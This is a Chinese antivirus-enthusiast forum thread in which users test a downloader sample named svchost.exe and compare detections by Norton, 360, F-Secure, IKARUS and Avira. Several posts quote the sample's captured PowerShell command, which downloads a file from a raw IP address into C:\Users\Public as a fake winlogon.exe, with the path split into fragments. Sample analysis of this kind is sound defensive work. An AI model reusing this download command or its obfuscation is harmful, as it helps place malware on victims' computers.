#Downloader - [阅读权限 255] ...2 3 4 5 6

显示全部楼层 · 发表于 2020-2-29 15:44:39

Filename: svchost.exe
Threat name: SONAR.SuspLaunch!g13Full Path: Not Available

____________________________

____________________________

On computers as of
2/29/2020 at 3:43:34 PM

Last Used
2/29/2020 at 3:43:34 PM

Startup Item
No

Launched
Yes

SONAR Protection monitors for suspicious program activity on your computer.

____________________________

svchost.exe Threat name: SONAR.SuspLaunch!g13
Locate

Very Few Users
Fewer than 5 users in the Norton Community have used this file.

Very New
This file was released less than 1 week ago.

High
This file risk is high.

____________________________

Source: External Media

Source File:
WinRAR.exe

File Created:
svchost.exe

____________________________

File Actions

File: c:\Users\VPC\downloads\ svchost.exe Threat Removed
File: c:\Users\VPC\downloads\ svchost.zip Threat Removed
____________________________

System Settings Actions

Event: Browser process start (Performed by c:\users\vpc\downloads\svchost.exe, PID:6964) No action taken
Event: Process start: c:\users\vpc\downloads\ svchost.exe, PID:6964 (Performed by c:\users\vpc\downloads\svchost.exe, PID:6964) No action taken
____________________________

File Thumbprint - SHA:
Not available
File Thumbprint - MD5:
Not available

显示全部楼层 · 发表于 2020-2-29 15:45:37

IKARUS missed

显示全部楼层 · 发表于 2020-2-29 15:45:47

swizzer 发表于 2020-2-29 15:40
智量扫描miss
双击无行为
是个downloader却不联网？

自己做的，会调用powershell.exe，我这可以跑出行为

显示全部楼层 · 发表于 2020-2-29 15:51:57

QVM360 发表于 2020-2-29 15:45
自己做的，会调用powershell.exe，我这可以跑出行为

我这里也不连。。。
就捉到这一个动作

显示全部楼层 · 发表于 2020-2-29 15:55:38

静影沉璧发表于 2020-2-29 15:51
我这里也不连。。。
就捉到这一个动作

【1】2020-02-29 15:27:01,高级防护,自定义防护,powershell.exe触犯自定义防护规则, 结束进程

操作进程：C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
命令行：powershell -Command "(New-Object Net.WebClient).DownloadFile('http://64.188.27.162/GrftgretGF45', 'C:' + '\U' + 'ser' + 's\P' + 'ub' + 'lic' + '\kj' + 'h4ek\wi' + 'nlo' + 'go' + 'n.ex' + 'e')
防护项目：[结束]系统进程防护.B.01
操作目标：【创建】 C:\Users\Public\kjh4ek\winlogon.exe
操作结果：结束进程

显示全部楼层 · 发表于 2020-2-29 16:00:44

QVM360 发表于 2020-2-29 15:55
【1】2020-02-29 15:27:01,高级防护,自定义防护,powershell.exe触犯自定义防护规则, 结束进程

操作进 ...

是时候加条规则了

可能网络问题，迟迟不见反应。。。

显示全部楼层 · 发表于 2020-2-29 16:16:41

FS
DG拦截
Exploit:W32/PowerShellStager.D!DeepGuard

显示全部楼层 · 发表于 2020-2-29 20:15:58

[UNICODE] 0x00001d22: ttp://64.188.27.162/GrftgretGF45', 'C:' + '\U' + 'ser' + 's\P' + 'ub' + 'lic' + '\kj' + 'h4ek\wi' + 'nlo' + 'go' + 'n.ex' + 'e')

绝对的downloader了

显示全部楼层 · 发表于 2020-3-1 12:05:01

Avira scan miss
(默认启发)

[病毒样本] #Downloader - [阅读权限 255] ...2 3 4 5 6

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块